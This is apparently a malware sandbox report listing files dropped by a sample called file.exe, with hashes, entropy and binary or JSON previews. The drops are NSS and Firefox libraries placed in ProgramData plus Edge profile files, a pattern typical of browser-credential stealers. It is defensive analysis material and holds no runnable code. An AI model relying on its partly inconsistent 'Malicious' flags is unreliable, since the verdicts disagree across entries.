Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	692736
Entropy (8bit):	6.304379785339226
Encrypted:	false
SSDEEP:	12288:Kk5nGNLFzxC+gej5yNcTN+pt+tLK75PL2rn65hYVKKuKOvy/j3t:KMGNL/geFyNcTN+jv75TQn652VBuNyb
MD5:	EDA18948A989176F4EEBB175CE806255
SHA1:	FF22A3D5F5FB705137F233C36622C79EAB995897
SHA-256:	81A4F37C5495800B7CC46AEA6535D9180DADB5C151DB6F1FD1968D1CD8C1EEB4
SHA-512:	160ED9990C37A4753FC0F5111C94414568654AFBEDC05308308197DF2A99594F2D5D8FE511FD2279543A869ED20248E603D88A0B9B8FB119E8E6131B0C52FF85
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: file.exe, Detection: malicious, Browse Filename: b4s45TboUL.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: 0T32Kz4dZU.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: tdnPqG0jmS.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......s,.>7M.m7M.m7M.m\|5.l<M.m\|5.l.M.m\|5.l#M.m'..l"M.m'..l'M.m'..l.M.m\|5.l:M.m7M.m.M.m7M.mlM.m...l6M.m...l6M.mRich7M.m........................PE..L......g.........."!...)............P.....................................................@..........................\..l...<].................................. 8...(..T....................(......@'..@............................................text............................... ..`.rdata..zV.......X..................@..@.data...T....p.......N..............@....reloc.. 8.......:...X..............@..B........................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\freebl3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: 0T32Kz4dZU.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\mozglue.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\msvcp140.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\ProgramData\nss3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\softokn3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\vcruntime140.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\0ec8a774-1ee5-443c-8e6a-cf16f7e28e4d.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	46092
Entropy (8bit):	6.08746174493727
Encrypted:	false
SSDEEP:	768:iMkbJrT8IeQcrQgx9QVCuXQhDO6vP6Ow0lcIvtHjDxhy1DhSCAo/Goup1Xl3jVzj:iMk1rT8HR9QVD6PP01sRo/hu3VlXr4Q
MD5:	E95D92AA67AE3988CBB93461C353A11E
SHA1:	EDC505479B29AEBFF457B1EFD76980B5EA345EB7
SHA-256:	C57373D7FF26F57B4D53AE6D510D4A289F23E6BE08BCB7D6D56B0ED3C5727C4B
SHA-512:	D4DFDB34F4C7FDFC05110B1C56C1223596E9FC5DC9F845FCFB865748880DC6EBBA212433C76368F14F545579374477C6406398A80EB71F8017D39DD71CEFA34E
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"5E25271B8190D943537AD3FDB50874FC133E8B4A00380E2A6A888D63386F728B\"","browser":{"browser_build_version":"117.0.2045.47","browser_version_of_last_seen_whats_new":"117.0.2045.47","last_seen_whats_new_page_version":"117.0.2045.47"},"desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"desktop_session_duration_tracker":{"last_session_end_timestamp":"1730326294"},"domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97yIFoYvbAluiw2oRoYgIQ2nG2AqJY2U+koRXQbbMm3fMsEX9JMK3GLbeAvNjhrlo5GOJiTA/oXLTdG6qXtmMBDiyS59PvY7eCklyb4QcfFi7tpdwu3VBt1XNor

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\25024b11-e61a-4cc7-9144-839b8d0a2fe7.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44624
Entropy (8bit):	6.096251619193358
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBwwuXjhDO6vP6Ow0lwEtylhFxcGoup1Xl3jVzXr4z:z/Ps+wsI7ynE8g6Pochu3VlXr4CRo1
MD5:	E7939B4CA62D486AC6C227E0BF6C53E4
SHA1:	A144F5526A18AEE1A71FB028F0B95EBA3E240044
SHA-256:	0D0B08DB44607C06E2CBEC58992EA7DC5304D6A24D66378E51138C24E3FB1AC6
SHA-512:	C435E884A819FD9B68A1CCAACAAE11F25B48FAF7A037E3597E8EFF118276CF15509F2B1639A36BF029728C1BB7102F3FE00C5A7DC82F14FB57D900DE9B408457
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Ad Blocking\blocklist (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	107893
Entropy (8bit):	4.640135461872496
Encrypted:	false
SSDEEP:	1536:B/lv4EsQMNeQ9s5VwB34PsiaR+tjvYArQdW+Iuh57P7x:fwUQC5VwBIiElEd2K57P7x
MD5:	19DB9AF7D3FDB56FDD8CB17DB154752C
SHA1:	FC38FEED3175DB5F9C8C17DA55B594B7875D0F92
SHA-256:	9033818BAA03976518D89725A48837BDB1B8876927163DAE2ED48A2226AA6ABE
SHA-512:	5A32D07505128BF3DB8A1D2E51F43B502C7270CC3F656126981597DB2676C3DA465C34D1A2DDB965C6F79C9F809824DCA794014D77B53EDB948602DEB8575D6C
Malicious:	false
Preview:	{"sites":[{"url":"24video.be"},{"url":"7dnifutbol.bg"},{"url":"6tv.dk"},{"url":"9kefa.com"},{"url":"aculpaedoslb.blogspot.pt"},{"url":"aek-live.gr"},{"url":"arcadepunk.co.uk"},{"url":"acidimg.cc"},{"url":"aazah.com"},{"url":"allehensbeverwijk.nl"},{"url":"amateurgonewild.org"},{"url":"aindasoudotempo.blogspot.com"},{"url":"anorthosis365.com"},{"url":"autoreview.bg"},{"url":"alivefoot.us"},{"url":"arbitro10.com"},{"url":"allhard.org"},{"url":"babesnude.info"},{"url":"aysel.today"},{"url":"animepornx.com"},{"url":"bahisideal20.com"},{"url":"analyseindustrie.nl"},{"url":"bahis10line.org"},{"url":"apoel365.net"},{"url":"bahissitelerisikayetleri.com"},{"url":"bambusratte.com"},{"url":"banzaj.pl"},{"url":"barlevegas.com"},{"url":"baston.info"},{"url":"atomcurve.com"},{"url":"atascadocherba.com"},{"url":"astrologer.gr"},{"url":"adultpicz.com"},{"url":"alleporno.com"},{"url":"beaver-tube.com"},{"url":"beachbabes.info"},{"url":"bearworldmagazine.com"},{"url":"bebegimdensonra.com"},{"url":"autoy

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Ad Blocking\d09e325c-6383-4910-b3ed-7a9e022f1b2d.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	107893
Entropy (8bit):	4.640135461872496
Encrypted:	false
SSDEEP:	1536:B/lv4EsQMNeQ9s5VwB34PsiaR+tjvYArQdW+Iuh57P7x:fwUQC5VwBIiElEd2K57P7x
MD5:	19DB9AF7D3FDB56FDD8CB17DB154752C
SHA1:	FC38FEED3175DB5F9C8C17DA55B594B7875D0F92
SHA-256:	9033818BAA03976518D89725A48837BDB1B8876927163DAE2ED48A2226AA6ABE
SHA-512:	5A32D07505128BF3DB8A1D2E51F43B502C7270CC3F656126981597DB2676C3DA465C34D1A2DDB965C6F79C9F809824DCA794014D77B53EDB948602DEB8575D6C
Malicious:	false
Preview:	{"sites":[{"url":"24video.be"},{"url":"7dnifutbol.bg"},{"url":"6tv.dk"},{"url":"9kefa.com"},{"url":"aculpaedoslb.blogspot.pt"},{"url":"aek-live.gr"},{"url":"arcadepunk.co.uk"},{"url":"acidimg.cc"},{"url":"aazah.com"},{"url":"allehensbeverwijk.nl"},{"url":"amateurgonewild.org"},{"url":"aindasoudotempo.blogspot.com"},{"url":"anorthosis365.com"},{"url":"autoreview.bg"},{"url":"alivefoot.us"},{"url":"arbitro10.com"},{"url":"allhard.org"},{"url":"babesnude.info"},{"url":"aysel.today"},{"url":"animepornx.com"},{"url":"bahisideal20.com"},{"url":"analyseindustrie.nl"},{"url":"bahis10line.org"},{"url":"apoel365.net"},{"url":"bahissitelerisikayetleri.com"},{"url":"bambusratte.com"},{"url":"banzaj.pl"},{"url":"barlevegas.com"},{"url":"baston.info"},{"url":"atomcurve.com"},{"url":"atascadocherba.com"},{"url":"astrologer.gr"},{"url":"adultpicz.com"},{"url":"alleporno.com"},{"url":"beaver-tube.com"},{"url":"beachbabes.info"},{"url":"bearworldmagazine.com"},{"url":"bebegimdensonra.com"},{"url":"autoy

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics-spare.pma (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4194304
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	B5CFA9D6C8FEBD618F91AC2843D50A1C
SHA1:	2BCCBD2F38F15C13EB7D5A89FD9D85F595E23BC3
SHA-256:	BB9F8DF61474D25E71FA00722318CD387396CA1736605E1248821CC0DE3D3AF8
SHA-512:	BD273BF4E10ED6E305ECB7B781CB065545FCE9BE9F1E2968DF22C3A98F82D719855AAFE5FF303D14EA623A5C55E51E924E10033A92A7A6B07725D7E9692B74F5
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics-spare.pma.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4194304
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	B5CFA9D6C8FEBD618F91AC2843D50A1C
SHA1:	2BCCBD2F38F15C13EB7D5A89FD9D85F595E23BC3
SHA-256:	BB9F8DF61474D25E71FA00722318CD387396CA1736605E1248821CC0DE3D3AF8
SHA-512:	BD273BF4E10ED6E305ECB7B781CB065545FCE9BE9F1E2968DF22C3A98F82D719855AAFE5FF303D14EA623A5C55E51E924E10033A92A7A6B07725D7E9692B74F5
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics\BrowserMetrics-6722AF11-1A6C.pma

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4194304
Entropy (8bit):	0.45388206831852684
Encrypted:	false
SSDEEP:	3072:Oia23eo9+bygQwl3mvkcIPfW0iOEoAEkOq+WXyL0+gno6g1HF75:M23cbDl3MkcIGJthOq9yL0+gno6aH/
MD5:	B37F768C745FD6788342676B2D8CB304
SHA1:	D3B2A40BA29AE7F5DE6A78E31A626F74B5CEDDA3
SHA-256:	9E95E85B7A1F42CC4F435A3395E5F20F7ABF76CF3C113E01798D89A31459CF04
SHA-512:	684295B7E754A7C8D3C87934C0C2F65DDFBB52E9C0149F2A3D5E3BD45999D80EBF6F0110C30BF3E7404AB49E514B847558C908A26EE910DBA3E75325B523E837
Malicious:	false
Preview:	...@..@...@.....C.].....@...................0...............`... ...i.y.........BrowserMetrics......i.y..Yd. .......A...................v.0.....UV&K.k<................UV&K.k<................UMA.PersistentHistograms.InitResult.....8...i.y.[".................................................i.y.Pq.30..............117.0.2045.47-64..".en-GB...Windows NT..10.0.190452l..x86_64..?........".obqvjw20,1(.0..8..B.......2.:.M..BU..Be...?j...GenuineIntel... .. ..........x86_64...J....k..^o..J..l.zL.^o..J....\.^o..J.....f.^o..J....?.^o..P.Z...b.INBXj....... .8.@..............(......................w..U?:K...G...W6.>.........."....."...24.."."pZLhTaJ23hN5uQxwzu0K2CYes/dvJuE93VbIVV/LnRA=".:............B)..1.3.177.11.. .*.RegKeyNotFound2.windowsR...Z...u...V.S@..$...SF@.......Y@.......4@.......Y@........?........?.........................Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......4@.......Y@................Y@.......Y@.......Y@........?........?2................ .`2.......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	280
Entropy (8bit):	4.132041621771752
Encrypted:	false
SSDEEP:	3:FiWWltlApdeXKeQwFMYLAfJrAazlYBVP/Sh/JzvPWVcRVEVg3WWD5x1:o1ApdeaEqYsMazlYBVsJDu2ziy5
MD5:	845CFA59D6B52BD2E8C24AC83A335C66
SHA1:	6882BB1CE71EB14CEF73413EFC591ACF84C63C75
SHA-256:	29645C274865D963D30413284B36CC13D7472E3CD2250152DEE468EC9DA3586F
SHA-512:	8E0E7E8CCDC8340F68DB31F519E1006FA7B99593A0C1A2425571DAF71807FBBD4527A211030162C9CE9E0584C8C418B5346C2888BEDC43950BF651FD1D40575E
Malicious:	false
Preview:	sdPC......................X..<EE..r/y..."pZLhTaJ23hN5uQxwzu0K2CYes/dvJuE93VbIVV/LnRA="..................................................................................47DEQpj8HBSa+/TImW+5JCeuQeRkm5NMpJWZG3hSuFU=....................fdb35e9f-12f5-40d5-8d50-87a9333d43a4............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\18376702-0f9c-4af6-94ba-27bbd9dc342f.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (17547), with no line terminators
Category:	dropped
Size (bytes):	17551
Entropy (8bit):	5.478550413184986
Encrypted:	false
SSDEEP:	384:stAPGQSu4Mstvfhg9YFCBMeBobGWQwM6WYlaTY2b:sCOXuOvf84bGlb+aTYG
MD5:	0C4DA08A8DD63BC4A8A8C331580C3E4C
SHA1:	94559BF4AEB2320BD6A8BCE63AF9E677791B57BC
SHA-256:	F3F9D2BD2BB52D0D30739AD2061EAC913E6A0780F02A95E67C99BE0E4C044733
SHA-512:	6389A21F183BBEC337025BD2C4DFD81954F4F9236C7964ADBC86D6C202290AA3235A775F6B0F4CBE73BC9E0CEABF8B19B2D2C728595331E0FFCDA094264EC6D3
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13374799890565074","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340900603634208","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\217b44f5-52ca-4f47-961f-116ca078f89f.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (17547), with no line terminators
Category:	dropped
Size (bytes):	17551
Entropy (8bit):	5.478378643514716
Encrypted:	false
SSDEEP:	384:stAPGQSu4Mstvfhg9YFCBMeBobGWQwM6WaqlaTY2b:sCOXuOvf84bGlbdaTYG
MD5:	941525AE1125545AE4C88DA88C37167D
SHA1:	8117EC22314DCA99088155F0CB59B2BB3E7C9002
SHA-256:	9D262F54A119CB0B87524F175DA69D3E8225D0B6F0BB58011EE6AEAAEF8FE8CA
SHA-512:	DD8A23CB967122AE3DBC7CF606E85148EB78B3F169067F2B71D1642D7A222BE75FF62B31DF1768161D447EE10C480BE2191A35F68BC94E0142AFE7BB0FEC3DD6
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13374799890565074","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340900603634208","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\43ff81c5-fcec-43b7-a455-085d8b7db221.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:L:L
MD5:	5058F1AF8388633F609CADB75A75DC9D
SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Preview:	.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\4a5f381f-a0c8-4706-a48b-8817cab2e822.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	10410
Entropy (8bit):	5.214821300394218
Encrypted:	false
SSDEEP:	192:stAkdpMsdR5vsZihg9Y6kLwE8KbV+F3GQA66W2aFIMYMPGW/iYJ:stAQMstvfhg9YRbGWQx6W2aTY2b
MD5:	8B8809AFF6714C2A594D317CD15C04B4
SHA1:	3EE8B9B38367253BCEBEDE0BC47195902819BA5C
SHA-256:	3C15B33AA17A528562579822EE918C34CE680711898BF901F4994C3BFB8CA8C9
SHA-512:	2B6FD2CAA3C3146498AEEE7FB0B6D64EE45D3574870962440F99640513BD64CA8639C86B15277A6A4A94ACEFEBB7ED16A82D8B69580B32AC7758DD23C3663331
Malicious:	false
